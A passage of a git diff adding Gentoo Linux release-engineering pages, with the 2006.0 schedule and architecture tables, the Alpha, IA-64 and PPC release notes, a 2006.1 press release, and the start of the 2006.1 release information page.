+	</section>
+</chapter>
+
+<chapter>
+	<title>2006.0 Information</title>
+	<section>
+		<title>Release Resources</title>
+		<body>
+			<p>
+			<b>Release Notes:</b>
+			</p>
+			<ul>
+				<li><uri link="alpha-release-notes.xml">Alpha Release Notes</uri></li>
+				<li>AMD64 Release Notes</li>
+				<li>HPPA Release Notes</li>
+				<li><uri link="ia64-release-notes.xml">IA-64 Release Notes</uri></li>
+				<li><uri link="ppc-release-notes.xml">PPC Release Notes</uri></li>
+				<li>PPC64 Release Notes</li>
+				<li>SPARC Release Notes</li>
+				<li>x86 Release Notes</li>
+			</ul>
+			<p>
+			There will be md5sums for all release media on the Gentoo mirrors.
+			</p>
+			<p>
+			All release media will be signed by the <c>Gentoo Linux Release
+			Engineering (releng@gentoo.org)</c> PGP key. The public key ID is
+			<c>0x17072058</c>, and the key is available through the
+			<c>subkeys.pgp.net</c> keyserver.
+			</p>
+		</body>
+	</section>
+		
+	<section>
+		<title>Contacts and Schedule</title>
+		<body>
+			<p>
+			<b>Contacts:</b>
+			</p>
+			<ul>
+				<li>Release Operations, PR: <mail link="plasmaroo@gentoo.org">Tim
+				Yamin</mail></li>
+				<li>Documentation: <mail link="fox2mike@gentoo.org">Shyam
+				Mani</mail></li>
+				<li>Infrastructure: <mail link="jforman@gentoo.org">Jeff
+				Forman</mail></li>
+			</ul>
+			<p>
+			<b>2006.0 Schedule</b>
+			</p>
+			<table>
+				<tr>
+					<th>Milestone</th>
+					<th>Description</th>
+					<th>Status</th>
+				</tr>
+				<tr>
+					<ti>Build tools QA</ti>
+					<ti>The release building tools are feature-frozen and are
+					QA checked for proper building on each architecture that
+					plans on releasing.</ti>
+					<ti>Completed</ti>
+				</tr>
+				<tr>
+					<ti>QA Testing</ti>
+					<ti>Release components have been thoroughly tested in
+					accordance with the QA guidelines. At least one test
+					release has been made by this time by each
+					architecture.</ti>
+					<ti>Completed</ti>
+				</tr>
+				<tr>
+					<ti>Official Snapshot</ti>
+					<ti>The official portage freeze is completed.  From this
+					point forward, only bug/security fixes are introduced into
+					the release tree that affect the release media.</ti>
+					<ti>Completed</ti>
+				</tr>
+				<tr>
+					<ti>Final QA</ti>
+					<ti>After the successful build of the release materials, a
+					final "once over" is given to each piece of the release
+					materials to test functionality and correctness.</ti>
+					<ti>Completed</ti>
+				</tr>
+				<tr>
+					<ti>Release upload</ti>
+					<ti>All release components are uploaded to the official
+					release staging area on the Release Engineering AMD64 box
+					for signing and MD5/SHA1 verification.</ti>
+					<ti>Completed</ti>
+				</tr>
+				<tr>
+					<ti>PR written</ti>
+					<ti>All PR items, including release notes for each
+					architecture, are completed.  Release notes are committed
+					to CVS, and the PR items are prepared.</ti>
+					<ti>Completed</ti>
+				</tr>
+				<tr>
+					<ti>Release handover</ti>
+					<ti>Release Engineering makes one final check of all
+					materials, then hands it over to Infrastructure for staging
+					and release.</ti>
+					<ti>Completed</ti>
+				</tr>
+				<tr>
+					<ti>Mirrors are staged</ti>
+					<ti>Infrastructure stages the mirrors and prepares PR items
+					for final commit.</ti>
+					<ti>Completed</ti>
+				</tr>
+				<tr>
+					<ti>2006.0 Release</ti>
+					<ti>Infrastructure performs the final commit on PR items
+					and makes the release materials live.  2006.0 is publically
+					released.</ti>
+					<ti>Completed</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+
+	<section>
+		<title>Architectures Releasing</title>
+		<body>
+			<p>
+			The following supported architectures are tentatively releasing
+			2006.0:
+			</p>
+			<table>
+				<tr>
+					<th>Architecture</th>
+					<th>Subarch(es)</th>
+					<th>Expected Components for 2006.0</th>
+					<th>Release Coordinator(s)</th>
+				</tr>
+				<tr>
+					<ti>alpha</ti>
+					<ti>alpha</ti>
+					<ti>InstallCDs, stages, GRP, Release Notes</ti>
+					<ti>kloeri, agriffis</ti>
+				</tr>
+				<tr>
+					<ti>amd64</ti>
+					<ti>amd64</ti>
+					<ti>InstallCDs, stages, GRP, Release Notes</ti>
+					<ti>kugelfang</ti>
+				</tr>
+				<tr>
+					<ti>hppa</ti>
+					<ti>hppa1.1, hppa2.0</ti>
+					<ti>InstallCDs, stages, GRP, Release Notes</ti>
+					<ti>dertobi123</ti>
+				</tr>
+				<tr>
+					<ti>ppc</ti>
+					<ti>G4, ppc</ti>
+					<ti>InstallCDs, stages, GRP, Release Notes</ti>
+					<ti>pylon</ti>
+				</tr>
+				<tr>
+					<ti>ppc64</ti>
+					<ti>ppc64, G5, power3, power4, power5</ti>
+					<ti>InstallCDs, stages, GRP, Release Notes</ti>
+					<ti>ranger, dostrow</ti>
+				</tr>
+				<tr>
+					<ti>sparc</ti>
+					<ti>sparc32, sparc64</ti>
+					<ti>InstallCDs, stages, GRP, Release Notes</ti>
+					<ti>gustavoz, weeve</ti>
+				</tr>
+				<tr>
+					<ti>x86</ti>
+					<ti>x86, i586, i686</ti>
+					<ti>InstallCD, stages, LiveCD, Release Notes</ti>
+					<ti>wolf31o2</ti>
+				</tr>
+			</table>
+			
+			<p>
+			The following unsupported architectures are tentatively releasing
+			2006.0:
+			</p>
+			<table>
+				<tr>
+					<th>Architecture</th>
+					<th>Subarch(es)</th>
+					<th>Expected Components for 2006.0</th>
+					<th>Release Coordinator(s)</th>
+				</tr>
+				<tr>
+					<ti>arm</ti>
+					<ti>arm, armv4l</ti>
+					<ti>stages, netboot images</ti>
+					<ti>vapier</ti>
+				</tr>
+				<tr>
+					<ti>ia64</ti>
+					<ti>ia64</ti>
+					<ti>InstallCDs, stages, Release Notes</ti>
+					<ti>plasmaroo</ti>
+				</tr>
+				<tr>
+					<ti>mips</ti>
+					<ti>mips</ti>
+					<ti>LiveCD, stages, netboot images</ti>
+					<ti>Kumba</ti>
+				</tr>
+				<tr>
+					<ti>s390</ti>
+					<ti>s390</ti>
+					<ti>stages</ti>
+					<ti>vapier</ti>
+				</tr>
+			</table>
+			<p>
+			If information regarding a specific architecture is wrong or has
+			been omitted, please contact the release operations manager.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.0/alpha-release-notes.xml b/xml/htdocs/proj/en/releng/release/2006.0/alpha-release-notes.xml
new file mode 100644
index 00000000..e95e0d92
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.0/alpha-release-notes.xml
@@ -0,0 +1,189 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.0/alpha-release-notes.xml,v 1.1 2006/02/27 00:14:57 plasmaroo Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="alpha-release-notes.xml">
+<title>Alpha Release Notes for Gentoo Linux 2006.0</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="Alpha Release Coordinator">
+	<mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+
+<abstract>
+Gentoo 2006.0 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>23 February 2006</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2006.0
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2005.1</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Profile Changes</li>
+			<li>	2.2 Stage Tarballs</li>
+			<li>	2.3 Security Updates</li>
+			<li>	2.4 Errata</li>
+			<li>	2.5 Critical Package Updates</li>
+			<li>	2.6 Portage Updates</li>
+			<li>	2.7 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2006.0</title>
+	<section>
+		<title>Profile Changes</title>
+		<body>
+			<p>Due to glibc problems we're now providing two different profiles. The default profile 
+			is default-linux/alpha/2006.0 requires a 2.6 kernel as it forces use of NPTL. Users that
+			need a 2.4 kernel or don't want to use NPTL can use the default-linux/alpha/no-nptl profile
+			instead.
+			</p>
+		</body>
+	</section>
+	<section>
+		<title>Stage Tarballs</title>
+		<body>
+			<p>Because of the profile changes we now provide stage tarballs built for both the default
+			alpha profile and the no-nptl profile. It's important to choose the no-nptl stage tarball
+			if using a 2.4 kernel or if you don't want a NPTL enabled system.
+			</p>
+		</body>
+	</section>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2006.0 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200507-29 to 200601-17.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Some alpha models may hang when booting</ti>
+				<ti>Boot using the gentoo-2.4 kernel</ti>
+			</tr>
+			<tr>
+				<ti>The default gentoo-2.6 doesn't support SMP due to kernel bugs</ti>
+				<ti>Boot using the gentoo-2.4 kernel</ti>
+			</tr>
+				
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.4.4-r1</li>
+				<li>glibc-2.3.5-r3</li>
+				<li>vanilla-sources-2.4.30</li>
+				<li>vanilla-sources-2.6.15.1</li>
+				<li>Portage-2.0.54</li>
+				<li>xorg-x11-6.8.2-r6</li>
+			</ul>
+
+			<p>There is both 2.6 and 2.4 kernels available on the InstallCD that will run on both, uniprocessor and smp machines.</p>
+
+			<p>For information about how to change your profile please read <uri link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml">
+			http://www.gentoo.org/doc/en/gentoo-upgrading.xml</uri></p>
+			
+			<warn>Cascading profiles will only work with Portage >=2.0.51. Make sure to first upgrade to an appropriate version of Portage
+			and <b>then</b> upgrade your profile!</warn>
+			
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.54 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2006.0. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2006.0</title>
+	<section>
+		<title>Installing Gentoo Linux 2006.0</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Alpha architecture offers two InstallCDs. The first one being a universal
+			bootable InstallCD which can be used to install with or without an Internet connection.
+			The second InstallCD is a bootable minimal InstallCD that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal InstallCD is required to boot the machine and install Gentoo.
+			The universal InstallCD does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal InstallCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There is one kernel available on both bootable cds. It will run on both, uniprocessor and smp systems.
+			The default kernel are based on linux-2.6.14.2 (vanilla-sources-2.6.14.2). The alternative kernel, <c>gentoo2.4</c>, 
+			is based on linux-2.4.30 (vanilla-sources-2.4.30).</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.0/ia64-release-notes.xml b/xml/htdocs/proj/en/releng/release/2006.0/ia64-release-notes.xml
new file mode 100644
index 00000000..5211acbc
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.0/ia64-release-notes.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.0/ia64-release-notes.xml,v 1.1 2006/02/27 00:14:57 plasmaroo Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="ia64-release-notes.xml">
+<title>IA/64 Release Notes for Gentoo Linux 2006.0</title>
+
+<author title="ia64 Release Coordinator">
+	<mail link="plasmaroo@gentoo.org">Tim Yamin</mail>
+</author>
+
+<abstract>
+Gentoo Linux/IA64 2006.0 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>13 February 2006</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>
+			Gentoo Linux is a community driven project committed to producing
+			high quality open-source software. These release notes for Gentoo Linux 2006.0
+			summarize important release changes and the installation process for Gentoo Linux
+			2006.0 for Itanium systems.
+			</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>3. Installing and upgrading Gentoo Linux</li>
+		</ul>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2006.0</title>
+	<section>
+		<title>Important Changes for 2006.0</title>
+		<body>
+		<p>
+			Following on from the availability of the Gentoo/IA64 InstallCD for 2005.1; the 2006.0 InstallCD features
+			a media refresh with updated software versions as well as support for SGI Prism systems (thanks to Bob
+			Sanders from SGI QA for his support).
+		</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Installing and Upgrading to Gentoo Linux 2006.0</title>
+	<section>
+		<title>Installing Gentoo Linux 2006.0</title>
+		<body>
+			<p>
+			Once you have booted Linux, whether from a InstallCD or an existing installation, you should fetch the stages
+			and chroot as normal. It is <b>important</b> that you keep in mind the following considerations to
+			achieve a bootable installation:
+			</p>
+			<ul>
+				<li>
+				Use only GNU parted to create your partitions. Other
+				applications such as fdisk or cfdisk do not support EFI GPT
+				partition tables, so your partitions will be lost on reboot.
+				</li>
+				<li>
+				You must use ELILO as your bootloader. Other bootloaders do not
+				support IA-64.
+				</li>
+				<li>
+				You should use a 2.6 kernel; 2.4 kernels have known issues and
+				are thus not supported by us.
+				</li>
+			</ul>			
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2006.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux there is no need to reinstall. You will automatically get
+			Gentoo 2006.0 if you sync your Portage tree and run <c>emerge --update world</c>.
+			</p>
+		</body>
+	</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.0/ppc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2006.0/ppc-release-notes.xml
new file mode 100644
index 00000000..7e0c505a
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.0/ppc-release-notes.xml
@@ -0,0 +1,280 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.0/ppc-release-notes.xml,v 1.1 2006/02/13 12:51:34 pylon Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="ppc-release-notes.xml">
+<title>ppc Release Notes for Gentoo Linux 2006.0</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="PPC Release Coordinator">
+  <mail link="pylon@gentoo.org">Lars Weiler</mail>
+</author>
+
+<abstract>
+Gentoo 2006.0 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2006-02-13</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo Linux is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo Linux 2006.0
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo Linux 2005.1</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 Profile Update</li>
+      <li>  2.3 Errata</li>
+      <li>  2.4 Critical Package Updates</li>
+      <li>  2.5 Portage Updates</li>
+      <li>  2.6 Userland Updates</li>
+      <li>  2.7 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2006.0</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo Linux 2006.0 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered 200507-28 to 200601-14.  </p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number. </p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Profile Update</title>
+    <body>
+      <p>With Gentoo Linux 2006.0 the PowerPC team made rather big changes to
+        the profile.  The merge of the ppc32 and ppc64 profiles went forward.
+        Furthermore the ppc32 profile has been changed in a way, that it offers
+        a minimalistic generic profile for all purposes, located in
+        <path>/usr/portage/profiles/default-linux/ppc/ppc32</path>.  The
+        release-dependent profile is optimized for desktop-usage and located in
+        <path>/usr/portage/profiles/default-linux/ppc/ppc32/2006.0</path>.
+        There are some subprofiles available for <path>G3</path> and
+        <path>G4</path> processors, and <path>G3/Pegasos</path> and
+        <path>G4/Pegasos</path> for the Pegasos Open Desktop Workstation.
+        Please update you profile as described in <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Errata</title>
+    <body>
+      <table>
+        <tr>
+          <th>Errata</th>
+          <th>Workaround</th>
+        </tr>
+        <tr>
+          <ti><c>pbbuttonsd</c> fails to start.</ti>
+          <ti>This tool gives some power and keyboard advantages to Apple Laptop
+            and Desktop users.  On some systems it fails to start, but that
+            would not harm anything for the installation.</ti>
+        </tr>
+        <tr>
+          <ti>There is no bootsplash</ti>
+          <ti>As the bootsplash, known from previous releases, consumes 25 MB of
+            disk-space on the CD, we decided to leave it out in order to hand
+            you a smaller ISO.</ti>
+        </tr>
+        <tr>
+          <ti>The fan on some G4 Apple laptops don't work during installation.</ti>
+          <ti>After the CD has booted you have to call <c>modprobe
+              therm_adt746x</c>.  This will load the appropriate kernel module for
+            the fan-controler.  The initial <c>coldplug</c> does not take care of
+            it.</ti>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>sys-devel/gcc-3.4.4-r1</li>
+        <li>sys-libs/glibc-2.3.5-r3</li>
+        <li>sys-kernel/gentoo-sources-2.6.15-r4</li>
+        <li>sys-kernel/vanilla-sources-2.6.15.3</li>
+        <li>sys-apps/portage-2.0.54</li>
+        <li>x11-base/xorg-x11-6.8.2-r6</li>
+        <li>kde-base/kde-3.4.3</li>
+        <li>gnome-base/gnome-2.12.2</li>
+        <li>xfce-base/xfce4-4.2.2</li>
+      </ul>
+
+      <p>There are two kernels on the InstallCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>ppc32</ti>
+          <ti>Supports uniprocessor and multiprocessor 32-bit PowerPC
+            machines.</ti>
+        </tr>
+        <tr>
+          <ti>pegasos</ti>
+          <ti>Supports Genesi's Pegasos I and II Open Desktop Workstation,
+            with multiprocessor support.</ti>
+        </tr>
+      </table>
+
+      <p>For information about how to change your profile please read <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+
+      <warn>Cascading profiles will only work with Portage &gt;=2.0.51. Make sure
+        to first upgrade to an appropriate version of Portage and <b>then</b>
+        upgrade your profile!</warn>
+
+
+    </body>
+  </section>
+
+  <section>
+    <title>Portage Updates</title>
+    <body>
+      <p>The Portage version included in this release is 2.0.54 and the <uri
+          link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+        can be found via our online CVS repository.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 2.0. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-ppc.xml">Gentoo
+          Installation Handbook</uri> in order to get it in sync with Gentoo
+        2006.0. Please note that it is a constant work in progress, and if any
+        bugs are encountered, please refer them to the Gentoo Linux bugtracking
+        system at <uri link="http://bugs.gentoo.org" />.</p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo Linux 2006.0</title>
+  <section>
+    <title>Installing Gentoo Linux 2006.0</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>The PowerPC release team offers three InstallCDs. The first one being a universal
+        bootable InstallCD which can be used to install with or without an Internet
+        connection.  The second InstallCD is a non-bootable subarch-optimized
+        Gentoo Reference Platform (GRP) CD which contains precompiled
+        binaries of popular programs such as X.org-X11, KDE, and GNOME. The
+        third InstallCD is a bootable minimal CD that is smaller in size and
+        includes only the basics needed to simply boot a machine.</p>
+
+      <p>At minimum, the universal or minimal InstallCD is required to boot the
+        machine and install Gentoo.  The universal InstallCD requires an Internet
+        connection to install from a stage1 installation tarball, but does not
+        require an Internet connection to install from a stage3 installation
+        tarball. The minimal InstallCD requires an Internet connection to install
+        Gentoo Linux.</p>
+
+      <p>There are two kernel available on both bootable CDs. It will run on
+        both, uniprocessor and multiprocessor systems.  The kernel is based on
+        linux-2.6.15.4 (gentoo-sources-2.6.15-r4).  Please refer to the handbook
+        for booting the CD</p>
+
+      <p>The InstallCDs are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>InstallCD Description</th>
+          <th>Location on Mirrors</th>
+        </tr>
+        <tr>
+          <ti>Universal bootable InstallCD</ti>
+          <ti>/releases/ppc/2006.0/installcd/install-ppc-universal-2006.0.iso</ti>
+        </tr>
+        <tr>
+          <ti>Minimal bootable InstallCD</ti>
+          <ti>/releases/ppc/2006.0/installcd/install-ppc-minimal-2006.0.iso</ti>
+        </tr>
+        <tr>
+          <ti>Non-bootable GRP-/Packages CD for generic PowerPC</ti>
+          <ti>/releases/ppc/2006.0/packagecd/$subarch/packages-ppc-2006.0.iso</ti>
+        </tr>
+        <tr>
+          <ti>Non-bootable GRP-/Packages CD optimized for G4</ti>
+          <ti>/releases/ppc/2006.0/packagecd/$subarch/packages-g4-2006.0.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2006.0</title>
+    <body>
+      <p>If you already have a working installation of Gentoo Linux (Version
+        1.4, 2004.0 through 2005.1) there is no need to reinstall. You will
+        automatically get Gentoo 2006.0 if you sync your Portage tree and run
+        <c>emerge --update world</c>. If you still have an installation with a
+        Gentoo 1.2 profile it might make sense -- in some cases -- that you do a
+        new installation.</p>
+
+      <p>There is also the possibility to update your system to a 1.4 profile
+        from which you -- as already stated -- can easily get to Gentoo 2006.0.
+        This update includes recompiling of glibc and some essential system
+        packages; it will take a very long time (possibly longer as a complete
+        re-installation) and it might also fail. So if you still have an
+        installation with a Gentoo 1.2 profile, it's your decision whether you
+        update or reinstall.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.1/2006.1-press-release.txt b/xml/htdocs/proj/en/releng/release/2006.1/2006.1-press-release.txt
new file mode 100644
index 00000000..545149e6
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.1/2006.1-press-release.txt
@@ -0,0 +1,70 @@
+Gentoo Linux 2006.1 Unleashed.
+
+ALBUQUERQUE, New Mexico., Aug. 30th -The Gentoo Release Engineering team 
+proudly announces the release of Gentoo Linux 2006.1, the second release of the
+year. It builds on the strength of previous releases with several
+improvements. Featuring all of Gentoo's well-documented advantages in
+flexibility, performance and portability, this release is now available
+on all supported architectures. It is a compelling choice
+for people desiring a flexible, powerful community-based Linux
+distribution.
+
+The 2006.1 release features many highlights that improve upon 2006.0.
+The AMD64, HPPA, x86, 32- and 64-bit PowerPC releases are built with and
+include GCC 4.1, a great improvement over version 3.4 used for 2006.0.
+Also included are the GNU C library version 2.4 and Gentoo's baselayout
+1.12.1, with improved system startup scripts.
+Alpha, x86 and AMD64 also feature a new profile layout, with separate
+sub-profiles for desktop and server systems. This makes customization
+much easier as the profile defaults can be pre-tuned to the type of
+system being used.
+
+The Gentoo Linux Installer for the x86 and AMD64 platforms now features
+a networkless install mode, with a more streamlined configuration
+interface making a typical installation quicker and easier than ever.
+It also includes new and improved partitioning code that can make
+better use of existing partition setups with unusual arrangements and
+improved error handling to minimize the chances of damaged partition
+tables.
+
+For the Alpha platform, the InstallCD now features the option to use a
+serial console for installation with minimal effort, and the stages are
+once again unified into one set for LinuxThreads and NPTL systems. The
+compiler used has been upgraded to GCC version 3.4.6, and it includes
+an updated glibc, to allow the unified stages for LinuxThreads and NPTL.
+
+The SPARC release includes several improvements over 2006.0, including
+InstallCD support for systems with more than 4GB of memory and an
+updated toolchain bringing fixes for various compilation problems. Also
+new is InstallCD and kernel support for the new UltraSPARC T1 processor
+used in the Sun T1000 and T2000 systems.
+
+Gentoo Linux 2006.1 now brings official support for the dual-core G5
+processor on the PPC platform, support for the serial console on Apple
+Xserve machines and improved support for installation from a FireWire
+disk. Official stages are built for 64- and 32-bit userlands on generic
+PPC64, POWER5 and PowerPC 970 (G5) platforms, and GRP packages are
+available for the latest KDE, Gnome and XFCE releases on all of the
+above configurations.
+
+Gentoo is also offering experimental stages for SuperH, the embedded
+processor developed by Hitachi in the early 1990s and most notably
+found in the SEGA DreamCast and several models of HP PDA. The port
+presently supports, and was developed on, the LanTANK system, with
+support for more systems planned in the future.
+
+About Gentoo Linux
+
+Gentoo is committed to producing a high-quality open source
+distribution, the latest release of which can always be found at 
+<http://www.gentoo.org/main/en/where.xml.> More information regarding
+this release can be found on the Gentoo Release Engineering team's
+project page.
+
+You may obtain Gentoo Linux 2006.1 via our bouncer system
+<http://www.gentoo.org/main/en/where.xml>, or if you prefer, contribute
+to the available bandwidth using our BitTorrent tracker
+<http://torrents.gentoo.org>.
+
+Press Contact:
+Christel Dahlskjaer, pr@gentoo.org -- +44 8447790812
diff --git a/xml/htdocs/proj/en/releng/release/2006.1/2006.1.xml b/xml/htdocs/proj/en/releng/release/2006.1/2006.1.xml
new file mode 100644
index 00000000..53631e09
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.1/2006.1.xml
@@ -0,0 +1,247 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="2006.1.xml">
+<title>2006.1 Release Information</title>
+
+<author title="Author">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+This guide serves as the definitive source for all 2006.1 information.
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>30 August 2006</date>
+
+<chapter>
+<title>Goals</title>
+
+<section>
+<body>
+
+<p>
+The primary goal of 2006.1 is to improve the quality of the Gentoo release
+media by including more drivers. We are also looking to improve the quality of
+the build over the last release, which is a recurring goal with every release.
+</p>
+
+<p>
+The secondary goal of this release is to build experimental LiveCD images for
+at least one architecture other than AMD64/x86 to facilitate Gentoo Linux
+Installer testing.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>2006.1 Information</title>
+
+<section>
+<title>Release Resources</title>
+<body>
+
+<p><b>Release Notes:</b></p>
+
+<ul>
+<li><uri link="alpha-release-notes.xml">Alpha Release Notes</uri></li>
+<li><uri link="amd64-release-notes.xml">AMD64 Release Notes</uri></li>
+<li><uri link="hppa-release-notes.xml">HPPA Release Notes</uri></li>
+<li><uri link="ppc-release-notes.xml">PPC Release Notes</uri></li>
+<li><uri link="sparc-release-notes.xml">SPARC Release Notes</uri></li>
+<li><uri link="x86-release-notes.xml">x86 Release Notes</uri></li>
+</ul>
+
+<p>
+There will be DIGESTS files for all release media on the Gentoo mirrors.
+</p>
+
+<p>
+All release media will be signed by the <c>Gentoo Linux Release	Engineering
+(releng@gentoo.org)</c> PGP key. The public key ID is <c>0x17072058</c>, and
+the key is available through the <c>subkeys.pgp.net</c> keyserver.
+</p>
+
+</body>
+</section>
+		
+<section>
